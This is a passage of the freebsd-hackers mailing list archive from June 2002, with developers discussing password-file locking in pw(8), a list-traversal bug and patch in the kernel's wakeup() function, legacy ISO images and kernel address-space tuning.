freebsd-hackers@FreeBSD.ORG Subject: Re: bug in pw, -STABLE [patch] Message-ID: <20020623230923.GM81018@over-yonder.net> References: <20020623210636.GK81018@over-yonder.net> <20020623150105.T38873-100000@mammoth.eat.frenchfries.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020623150105.T38873-100000@mammoth.eat.frenchfries.net> User-Agent: Mutt/1.4i-fullermd.1 X-Editor: vi X-OS: FreeBSD Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG OK, this is the end for me today. I'm fairly sure, somehow, it's time to get some sleep ;p On Sun, Jun 23, 2002 at 03:51:46PM -0700 I heard the voice of Paul Herman, and lo! it spake thus: > > Moral of that story: This would mean for pw(8) that I can't update > the system passwords and the passwords in all my jails at the same > time. There is no reason to enforce that policy. No, it means that (with configuration) you can only update them once at a time in each jail. I'm all in favor of adding options, either command line, or pw.conf (or both) to put the lockfile somewhere else; -V ${dir} already makes pw(8) read ${dir}/pw.conf instead of the default /etc/pw.conf, so we're 90% of the way there already. Heck, I wouldn't be too worried about adjusting the lockfile location based on -V automagically. I'm also not opposed to adding an option to not bother with this locking; I already added one to pwd_mkdb(8) (primarily because it's called from libutil's pw_mkdb(3), which is called by vipw(8)... deadlocks suck). I just haven't done either NOW; nor have I yet added options to 'block on the lock and keep trying' (or decided to make blocking the default and have a switch for non-blocking) - this is experimental implementation stage, after all. I don't claim this is perfect for every case; I'm just taking aim at the common case, where it's currently far too easy to accidentally screw yourself in the foot. > Q: rename() is good, but you can't flock() the file in question > and handle it easily, can you? > > A: Indeed, you can. flocks() are even preserved across renames. Yes, I've seen that. > A: Agreed, this is a problem. However, no system in place will > prevent at any time anyone with the proper credentials from > doing: I was aiming more at: > User A adds user with pw(8) * pw(8) gets together stuff, internally adds user and group * pw(8) builds homedirs, skel files, changes ownership * pw(8) opens and locks master.passwd (and assorted temp files) and starts rewriting - User B adds group % User B's pw(8) (or other) invocation adds group with GID that User A's pw(8) had already assigned and chmod'd for user above * User A's pw(8) either errors out leaving job half done, or adds group with duplicate GID, or (not coded) backs out everything it's done and starts over, or (ditto) backs out everything it's done and errors back to User A, who screams and bitches and dumps User B into the East River after sundown. Similar situations can be thought up. My POV on this is that more than 1 file has to be coordinated here, so why not just make 1 file responsible for the coordination? I don't care THAT much if it's called /var/run/pwd.lock or /etc/passwd.lock or /kernel (I suggest testing the latter on a scratch system). It just seems to me the simplest and least error-prone way of doing it. > Yes, a lock on "changes to the auth information" is the only > way to ensure consistency, which is what this is all about, > but HOW to accomplish this issue at hand. Now, mind you; were this a high-traffic subsystem, where one would normally have 2 or 3 or 4 "requests" (changes) outstanding, with a constant stream coming in keeping the queue full, I'd be out there screaming for fine-grained locking of individual pieces of it. But really; how many systems are there (that are using stock passwd and getpw* and pw/pwd_mkdb/etc) that are adding users at even a significant fraction of the speed the system can process them? A coarse lock is easier on the programmer (especially being as we have quickie functions that do the job for them), the admin (easier to see an extra lock file, then a hung process holding a flock()), and pretty much everything else. > Why use lockfiles, when we can lock files? Let's lock files and > keep the snack bar open! :-) We are locking a file :) We're just locking one file for the whole subsystem, so the pieces can be assured of being in sync. So, where's a snack bar with no CVS repository or text editor or diff(1); I need a vacation! -- Matthew Fuller (MF4839) | fullermd@over-yonder.net Systems/Network Administrator | http://www.over-yonder.net/~fullermd/ "The only reason I'm burning my candle at both ends, is because I haven't figured out how to light the middle yet" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 16:47:18 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from elvis.mu.org (elvis.mu.org [192.203.228.196]) by hub.freebsd.org (Postfix) with ESMTP id 33CF337B401 for ; Sun, 23 Jun 2002 16:47:15 -0700 (PDT) Received: by elvis.mu.org (Postfix, from userid 1192) id DED44AE147; Sun, 23 Jun 2002 16:47:14 -0700 (PDT) Date: Sun, 23 Jun 2002 16:47:14 -0700 From: Alfred Perlstein To: Matthew Dillon Cc: freebsd-hackers@FreeBSD.ORG, Julian Elischer , Alan Cox , Tor.Egge@cvsup.no.freebsd.org Subject: Re: Bug in wakeup() (stable and current) ? Message-ID: <20020623234714.GN53232@elvis.mu.org> References: <200206232014.g5NKE5x3058562@apollo.backplane.com> <20020623201933.GM53232@elvis.mu.org> <200206232032.g5NKWVZW063483@apollo.backplane.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200206232032.g5NKWVZW063483@apollo.backplane.com> User-Agent: Mutt/1.3.27i Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG * Matthew Dillon [020623 13:32] wrote: > :I'm pretty sure you only need to 'goto restart' if you call into > :maybe_resched() as someone else may have manipulated the queues. > : > :The 'restart' label is only in there for restarting in case one of > :the functions called may change the lists, if we restart _every_ > :time we'll traverse the same procs where p->p_wchan != ident over > :and over needlessly. > : > :-Alfred > > Look at the code carefully. It's *removing* the element from the list, > the conditionally restarting rather then removing the element from the ------^^^ then?? > list and unconditionally restarting. The only reason it works at all > is because sys/queue.h does not clear out the pointers in the node > that was just removed. The code is just plain wrong, though, because > the queue mechanisms make no such (documented) guarentee. You're right, but other than await() why would a process find itself on a sleep queue if not in SSLEEP? -- -Alfred Perlstein [alfred@freebsd.org] 'Instead of asking why a piece of software is using "1970s technology," start asking why software is ignoring 30 years of accumulated wisdom.' Tax deductible donations for FreeBSD: http://www.freebsdfoundation.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 17: 0:15 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 57B8437B401 for ; Sun, 23 Jun 2002 17:00:07 -0700 (PDT) Received: from apollo.backplane.com (localhost [127.0.0.1]) by apollo.backplane.com (8.12.3/8.12.3) with ESMTP id g5NNxwCV080271; Sun, 23 Jun 2002 16:59:58 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.12.3/8.12.3/Submit) id g5NNxwW0080270; Sun, 23 Jun 2002 16:59:58 -0700 (PDT) (envelope-from dillon) Date: Sun, 23 Jun 2002 16:59:58 -0700 (PDT) From: Matthew Dillon Message-Id: <200206232359.g5NNxwW0080270@apollo.backplane.com> To: Alfred Perlstein Cc: freebsd-hackers@FreeBSD.ORG, Julian Elischer , Alan Cox , Tor.Egge@cvsup.no.freebsd.org Subject: Re: Bug in wakeup() (stable and current) ? References: <200206232014.g5NKE5x3058562@apollo.backplane.com> <20020623201933.GM53232@elvis.mu.org> <200206232032.g5NKWVZW063483@apollo.backplane.com> <20020623234714.GN53232@elvis.mu.org> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG : :You're right, but other than await() why would a process find itself :on a sleep queue if not in SSLEEP? : :-- :-Alfred Perlstein [alfred@freebsd.org] I think we may be ok on -stable, but -current definitely hits the case (at least it does with Julian's KSE branch). Threads have considerably more blocking states in -current then processes do in -stable. Either that or there are races in -current that we don't know about. -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 17: 1:51 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from avocet.mail.pas.earthlink.net (avocet.mail.pas.earthlink.net [207.217.120.50]) by hub.freebsd.org (Postfix) with ESMTP id 176E437B401 for ; Sun, 23 Jun 2002 17:01:47 -0700 (PDT) Received: from pool0336.cvx22-bradley.dialup.earthlink.net ([209.179.199.81] helo=mindspring.com) by avocet.mail.pas.earthlink.net with esmtp (Exim 3.33 #2) id 17MHIW-0000xJ-00; Sun, 23 Jun 2002 17:01:37 -0700 Message-ID: <3D16613A.44CFA0B0@mindspring.com> Date: Sun, 23 Jun 2002 17:00:58 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Jefferson Harlough Cc: hackers@FreeBSD.ORG Subject: Re: FreeBSD 2.2.x ISO images. References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Jefferson Harlough wrote: > Where might I find ISO images for the FreeBSD 2.2.x releases? Do such > files exist? > > I have an older system with a non-IDE Creative CD-ROM drive, and FreeBSD > 4.x seems to not support that drive any more. I do have several FreeBSD 3.x > releases, but they always hang with a kernel panic when booting via the > included bootdisks. Would the FreeBSD 2.2.x series of releases work with > such a CD-ROM drive? The Silicon Valley BSD User's Group has legacy images of all versions of FreeBSD, available as ISO's. The project is mentioned at: http://www.svbug.com/projects/ Unfortunately, I don't have a link to the project itself. If you need it, you should contact Jesus Monroy or John Sokol, who are the people who actively maintain the archive. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 17: 8:43 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from avocet.mail.pas.earthlink.net (avocet.mail.pas.earthlink.net [207.217.120.50]) by hub.freebsd.org (Postfix) with ESMTP id 6778337B400 for ; Sun, 23 Jun 2002 17:08:38 -0700 (PDT) Received: from pool0336.cvx22-bradley.dialup.earthlink.net ([209.179.199.81] helo=mindspring.com) by avocet.mail.pas.earthlink.net with esmtp (Exim 3.33 #2) id 17MHOz-0007cP-00; Sun, 23 Jun 2002 17:08:18 -0700 Message-ID: <3D1662CC.FE6F6D49@mindspring.com> Date: Sun, 23 Jun 2002 17:07:40 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Paul Herman Cc: "Matthew D. Fuller" , "Geoffrey C. Speicher" , freebsd-hackers@FreeBSD.ORG Subject: Re: bug in pw, -STABLE [patch] References: <20020623111412.V38509-100000@mammoth.eat.frenchfries.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Paul Herman wrote: > Fine, then lock them both, and use rename(). Patch attached. > > In fact, if you look at fileupdate(), you see that it already gains > an exclusive lock on the temp file, but not the original > "/etc/master.passwd" (if you will.) I think this is a bug, because > the original is getting modified (at least in name space), so that > should be locked while pw(8) is operating. > > What do you think? Don't use an exclusive open. Use a standard lock file lock mechanism. The problem with your proposed patch is that it breaks the ability to allow authentication against the database while it is undergoing modification, which may be a prolonged period. The correct way to deal with this is to make a hard link against the file, verify that the link count is exactly 2, and if it's not, back off and fail. You are only permitted to write the file if you are the one that made the second link. Since both rename and link are atomic operations in the directory, you are safe. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 17:10:40 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from avocet.mail.pas.earthlink.net (avocet.mail.pas.earthlink.net [207.217.120.50]) by hub.freebsd.org (Postfix) with ESMTP id 1503537B401 for ; Sun, 23 Jun 2002 17:10:37 -0700 (PDT) Received: from pool0336.cvx22-bradley.dialup.earthlink.net ([209.179.199.81] helo=mindspring.com) by avocet.mail.pas.earthlink.net with esmtp (Exim 3.33 #2) id 17MHR3-0001td-00; Sun, 23 Jun 2002 17:10:26 -0700 Message-ID: <3D16634C.DF2AFB8D@mindspring.com> Date: Sun, 23 Jun 2002 17:09:48 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Patrick Thomas Cc: Nielsen , hackers@freebsd.org Subject: Re: (jail) problem and a (possible) solution ? References: <20020623114503.W68572-100000@utility.clubscholarship.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Patrick Thomas wrote: > Because I am paranoid, I like to check the state of a measurement before > making a change and then after, to see that what I did did indeed induce a > change ... I have this irrational fear that sometimes I make changes like > this and nothing in fact changed, and I just don't know it :) > > So, should I just look for the value of: > > vm.zone_kmem_kvaspace: 179691520 > > to increase in size even though the physical RAM stays the same at 3gigs, > or is there some other measurement I should look at before and after the > KVA increase to ensure that it worked (and yes, I know that if it doesn't > work I probably will have an inoperable machine, but just out of > curiousity...) Yes. You will also see the kernel load address during the boot process, which you can interrupt/pause until you are satisfied. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 17:16:44 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.deltanet.com (mail.deltanet.com [216.237.144.132]) by hub.freebsd.org (Postfix) with ESMTP id B9D1E37B401 for ; Sun, 23 Jun 2002 17:16:24 -0700 (PDT) Received: from mammoth.eat.frenchfries.net (da001d0191.lax-ca.osd.concentric.net [64.0.144.192]) by mail.deltanet.com (8.11.6/8.11.6) with ESMTP id g5NNqAO10452 for ; Sun, 23 Jun 2002 16:52:11 -0700 Received: by mammoth.eat.frenchfries.net (Postfix, from userid 1000) id 4489957C8; Sun, 23 Jun 2002 17:14:58 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by mammoth.eat.frenchfries.net (Postfix) with ESMTP id 41CC057C7; Sun, 23 Jun 2002 17:14:58 -0700 (PDT) Date: Sun, 23 Jun 2002 17:14:58 -0700 (PDT) From: Paul Herman X-X-Sender: pherman@mammoth.eat.frenchfries.net To: "Matthew D. Fuller" Cc: "Geoffrey C. Speicher" , Subject: Re: bug in pw, -STABLE [patch] In-Reply-To: <20020623230923.GM81018@over-yonder.net> Message-ID: <20020623165244.X39062-100000@mammoth.eat.frenchfries.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, 23 Jun 2002, Matthew D. Fuller wrote: > I don't claim this is perfect for every case; I'm just taking aim > at the common case, where it's currently far too easy to > accidentally screw yourself in the foot. ...and have the screw (or bullet) delivered as precisely, quickly and efficiently as possible. Clearly, at the root of our disagreement is what we both perceive the problem to be. I don't see problems in the current implementation, aside from bugs that lead to unexpected behavior, i.e. passwd file corruption. You see the problem as a deficiency in the implementation itself, and wish to protect the user from shooting themselves in the foot. Not only do I think that's impossible[*], I choose to fight for my right to shoot myself in the foot as quickly and efficiently as possible, but that's where we'll disagree, and I'll just leave it at that and wish you a good night's sleep. -Paul. [*] Patch to vi refusing to edit filenames containing "master.passwd" withheld by request. ;-) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 17:54: 2 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from flamingo.mail.pas.earthlink.net (flamingo.mail.pas.earthlink.net [207.217.120.232]) by hub.freebsd.org (Postfix) with ESMTP id D213F37B401 for ; Sun, 23 Jun 2002 17:53:57 -0700 (PDT) Received: from pool0336.cvx22-bradley.dialup.earthlink.net ([209.179.199.81] helo=mindspring.com) by flamingo.mail.pas.earthlink.net with esmtp (Exim 3.33 #2) id 17MI7A-0007Yz-00; Sun, 23 Jun 2002 17:53:56 -0700 Message-ID: <3D166D7D.6CD9CC90@mindspring.com> Date: Sun, 23 Jun 2002 17:53:17 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Jonathan Lemon Cc: dillon@apollo.backplane.com, hackers@freebsd.org Subject: Re: Bug in wakeup() (stable and current) ? References: <200206232158.g5NLw9c49030@prism.flugsvamp.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Jonathan Lemon wrote: > > Look at the code carefully. It's *removing* the element from the list, > > the conditionally restarting rather then removing the element from the > > list and unconditionally restarting. The only reason it works at all > > is because sys/queue.h does not clear out the pointers in the node > > that was just removed. The code is just plain wrong, though, because > > the queue mechanisms make no such (documented) guarentee. > > Looks like the original damage happened in r1.21, where the temporary > variable (used to hold the next item on the list) was replaced by a > dereference through the pointer of the item that was just removed. > > The code works simply because it relies TAILQ_REMOVE() not changing > the tqe_next pointer. I suppose that this should either be documented, > or the loop changed back to use a temp variable: > > for (td = TAILQ_FIRST(qp); td != NULL; td = tdq) { > tdq = TAILQ_NEXT(td, td_slpq); > ... > } Too bad the first argument to TAILQ_FOREACH isn't a pointer to a pointer, instead of just a pointer. I guess the double dereference is considered "too expensive". It's a bummer that you can't safely use TAILQ_REMOVE inside the TAILQ_FOREACH. FWIW, this looks like a general bug in queue.h for all queue and list types, so there are probably other places it would be an issue. 8-(. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 18:25: 0 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from pintail.mail.pas.earthlink.net (pintail.mail.pas.earthlink.net [207.217.120.122]) by hub.freebsd.org (Postfix) with ESMTP id 9A53037B404 for ; Sun, 23 Jun 2002 18:24:54 -0700 (PDT) Received: from pool0336.cvx22-bradley.dialup.earthlink.net ([209.179.199.81] helo=mindspring.com) by pintail.mail.pas.earthlink.net with esmtp (Exim 3.33 #2) id 17MIam-0000WW-00; Sun, 23 Jun 2002 18:24:32 -0700 Message-ID: <3D1674A3.DA4648ED@mindspring.com> Date: Sun, 23 Jun 2002 18:23:47 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: John Kozubik Cc: Patrick Thomas , Nielsen , hackers@FreeBSD.ORG Subject: Re: (jail) problem and a (possible) solution ? References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG John Kozubik wrote: > Terry, Patrick, et al, > > For 4.5, you have to hack ldscript.i386 and pmap.h. I've posted > > on how to do this before (should be in the archives). > > Actually, in 4.5 you only need to set: > > options KVA_PAGES=512 > > and recompile your kernel. It looks like 4.5-RELEASE was the first > release version to _not_ require hacking sys/i386/include/pmap.h and > sys/conf/ldscript.i386. As you can see by looking at a 4.5-RELEASE > pmap.h: > > #define NKPDE (KVA_PAGES - 2) /* addressable number of page tables/pde's > */ > #else > #define NKPDE (KVA_PAGES - 1) /* addressable number of page tables/pde's > */ > > the offsets that Terry spoke of are already in place. This is in contrast > to 4.4-RELEASE: > > #define NKPDE 254 /* addressable number of page > tables/pde's */ > #else > #define NKPDE 255 /* addressable number of page > tables/pde's */ Yes; this is 1.65.2.3 This is my bad. It's the system I was using as a reference; it has two kernel source trees; the first one has 1.65, the second is a RELENG_4, which makes it a 1.65.2.3. > Where everything was hard coded to match the default KVA_PAGES value. > Further, looking at ldscript.i386 we see in 4.5-RELEASE: > > . = kernbase + 0x00100000 + SIZEOF_HEADERS; > > whereas in 4.4-RELEASE and earlier, we saw: > > . = 0xc0100000 + SIZEOF_HEADERS; > > Which means that in 4.4 you had to change 0xc0100000 to 0x80100000 for a > 2gig KVA. In 4.5, however, you don't have to change ldscript.i386 at all, > because it is now a relative value that takes kernbase into account. Yes, this is 1.4.2.1. The commit comments for ldscript.i386 are incredibly misleading as to what the merge actually does. The derivation of "kernbase" itself is also dependent on a third change, which is not documented, either. > So, if you are running 4.0 - 4.4, you need to edit ldscript.i386 and > change 0xc0100000 to 0x8010000 (for a 2gig KVA), then you need to edit > pmap.h and change the two lines I pasted above from 254 and 255 to 510 and > 511, respectively. Finally, you need to set: > > options KVA_PAGES=512 > > in your kernel config, then recompile your kernel. > > But, if you are running 4.5 or 4.6, from the code I pasted above, it looks > like all you have to do is set: > > options KVA_PAGES=512 > > in your kernel config, then recompile your kernel. > > ----- > > Another explanation of this concept can be found here: > > http://www.kozubik.com/docs/original_kva_increase.txt > > I am posting today mainly to get a little more information stored in the > archives. > > In addition, I myself have a question regarding the default settings of > 4.5 and 4.6 - by looking at the NKPDE values in the 4.4-RELEASE version of > pmap.h, the values of 254 and 255 indicate that they are hard coded for a > default of KVA_PAGES=256, however 4.5 and 4.6 have a KVA_PAGES=260 setting > in LINT, which I assume is also the default ... why the increase of 4 > since 4.4-RELEASE ? I believe that this would be because of the desire for the number of *usable* pages, since you have to subtract out the ones that are not global to all CPUs. The LINT value is *not* the default. It went in in 1.954 of NOTES (LINT is a generated file). I don't know why Peter did this. It says "and a test" in the commit, an since it's only comments and the option itself, I guess that means that the value of 260 is the test that the commit message was referencing. So I guess 4.5 is actually OK, but one of my local boxes is not. My main frustration with this has always been that the information in the Handbook has always been insufficient to actually make the change and have it work. I guess I'm glad that it made it into 4.5, even if it surprised me. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 18:40:28 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from sccrmhc02.attbi.com (sccrmhc02.attbi.com [204.127.202.62]) by hub.freebsd.org (Postfix) with ESMTP id B7BD637B401 for ; Sun, 23 Jun 2002 18:40:13 -0700 (PDT) Received: from InterJet.elischer.org ([12.232.206.8]) by sccrmhc02.attbi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020624014012.SLZV1547.sccrmhc02.attbi.com@InterJet.elischer.org>; Mon, 24 Jun 2002 01:40:12 +0000 Received: from localhost (localhost.elischer.org [127.0.0.1]) by InterJet.elischer.org (8.9.1a/8.9.1) with ESMTP id SAA49411; Sun, 23 Jun 2002 18:39:57 -0700 (PDT) Date: Sun, 23 Jun 2002 18:39:55 -0700 (PDT) From: Julian Elischer To: Matthew Dillon Cc: Alfred Perlstein , freebsd-hackers@FreeBSD.ORG, Alan Cox , Tor.Egge@cvsup.no.freebsd.org Subject: Re: Bug in wakeup() (stable and current) ? In-Reply-To: <200206232032.g5NKWVZW063483@apollo.backplane.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, 23 Jun 2002, Matthew Dillon wrote: > :I'm pretty sure you only need to 'goto restart' if you call into > :maybe_resched() as someone else may have manipulated the queues. > : > :The 'restart' label is only in there for restarting in case one of > :the functions called may change the lists, if we restart _every_ > :time we'll traverse the same procs where p->p_wchan != ident over > :and over needlessly. > : > :-Alfred > > Look at the code carefully. It's *removing* the element from the list, > the conditionally restarting rather then removing the element from the > list and unconditionally restarting. The only reason it works at all > is because sys/queue.h does not clear out the pointers in the node > that was just removed. The code is just plain wrong, though, because > the queue mechanisms make no such (documented) guarentee. ummmm Was this found because of my tailq debugging stuff that sets the forward pointer to -1? > > -Matt > Matthew Dillon > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 19: 0:57 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from rwcrmhc52.attbi.com (rwcrmhc52.attbi.com [216.148.227.88]) by hub.freebsd.org (Postfix) with ESMTP id 752A437B40E for ; Sun, 23 Jun 2002 19:00:22 -0700 (PDT) Received: from InterJet.elischer.org ([12.232.206.8]) by rwcrmhc52.attbi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020624020021.CIGE2751.rwcrmhc52.attbi.com@InterJet.elischer.org>; Mon, 24 Jun 2002 02:00:21 +0000 Received: from localhost (localhost.elischer.org [127.0.0.1]) by InterJet.elischer.org (8.9.1a/8.9.1) with ESMTP id SAA49450; Sun, 23 Jun 2002 18:42:45 -0700 (PDT) Date: Sun, 23 Jun 2002 18:42:43 -0700 (PDT) From: Julian Elischer To: Jonathan Lemon Cc: dillon@apollo.backplane.com, hackers@freebsd.org Subject: Re: Bug in wakeup() (stable and current) ? In-Reply-To: <200206232158.g5NLw9c49030@prism.flugsvamp.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, 23 Jun 2002, Jonathan Lemon wrote: > In article you write: > >:I'm pretty sure you only need to 'goto restart' if you call into > >:maybe_resched() as someone else may have manipulated the queues. > >: > >:The 'restart' label is only in there for restarting in case one of > >:the functions called may change the lists, if we restart _every_ > >:time we'll traverse the same procs where p->p_wchan != ident over > >:and over needlessly. > >: > >:-Alfred > > > > Look at the code carefully. It's *removing* the element from the list, > > the conditionally restarting rather then removing the element from the > > list and unconditionally restarting. The only reason it works at all > > is because sys/queue.h does not clear out the pointers in the node > > that was just removed. The code is just plain wrong, though, because > > the queue mechanisms make no such (documented) guarentee. > > Looks like the original damage happened in r1.21, where the temporary > variable (used to hold the next item on the list) was replaced by a > dereference through the pointer of the item that was just removed. > > The code works simply because it relies TAILQ_REMOVE() not changing > the tqe_next pointer. I suppose that this should either be documented, > or the loop changed back to use a temp variable: > > for (td = TAILQ_FIRST(qp); td != NULL; td = tdq) { > tdq = TAILQ_NEXT(td, td_slpq); > ... > } I just added debug code in the TAILQ code that sets the forward pointor to -1. Since Matt had this it's possible that this is what hit him? I do this to stop people accessingthings that they shouldn't be counting on.. > > -- > Jonathan > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 19:35:49 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from prism.flugsvamp.com (66-191-112-47.mad.wi.charter.com [66.191.112.47]) by hub.freebsd.org (Postfix) with ESMTP id 80F6A37B403 for ; Sun, 23 Jun 2002 19:35:44 -0700 (PDT) Received: (from jlemon@localhost) by prism.flugsvamp.com (8.11.6/8.11.6) id g5O2Yh657125; Sun, 23 Jun 2002 21:34:43 -0500 (CDT) (envelope-from jlemon) Date: Sun, 23 Jun 2002 21:34:43 -0500 From: Jonathan Lemon To: Julian Elischer Cc: Jonathan Lemon , dillon@apollo.backplane.com, hackers@freebsd.org Subject: Re: Bug in wakeup() (stable and current) ? Message-ID: <20020623213443.K91821@prism.flugsvamp.com> References: <200206232158.g5NLw9c49030@prism.flugsvamp.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre2i In-Reply-To: Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Sun, Jun 23, 2002 at 06:42:43PM -0700, Julian Elischer wrote: > > On Sun, 23 Jun 2002, Jonathan Lemon wrote: > > The code works simply because it relies TAILQ_REMOVE() not changing > > the tqe_next pointer. I suppose that this should either be documented, > > or the loop changed back to use a temp variable: > > > > for (td = TAILQ_FIRST(qp); td != NULL; td = tdq) { > > tdq = TAILQ_NEXT(td, td_slpq); > > ... > > } > > I just added debug code in the TAILQ code that sets the forward pointor > to -1. Since Matt had this it's possible that this is what hit him? Most definitely. If you reset tqe_next, the code stops working. Try the patch below. -- Jonathan Index: kern_synch.c =================================================================== RCS file: /ncvs/src/sys/kern/kern_synch.c,v retrieving revision 1.175 diff -u -r1.175 kern_synch.c --- kern_synch.c 7 Jun 2002 05:39:16 -0000 1.175 +++ kern_synch.c 24 Jun 2002 02:42:40 -0000 @@ -605,13 +605,14 @@ register void *ident; { register struct slpquehead *qp; - register struct thread *td; + register struct thread *td, *tdn; struct proc *p; mtx_lock_spin(&sched_lock); qp = &slpque[LOOKUP(ident)]; restart: - TAILQ_FOREACH(td, qp, td_slpq) { + for (td = TAILQ_FIRST(qp); td != NULL; td = tdn) { + tdn = TAILQ_NEXT(td, td_slpq); p = td->td_proc; if (td->td_wchan == ident) { TAILQ_REMOVE(qp, td, td_slpq); To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Sun Jun 23 20: 0:44 2002 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com 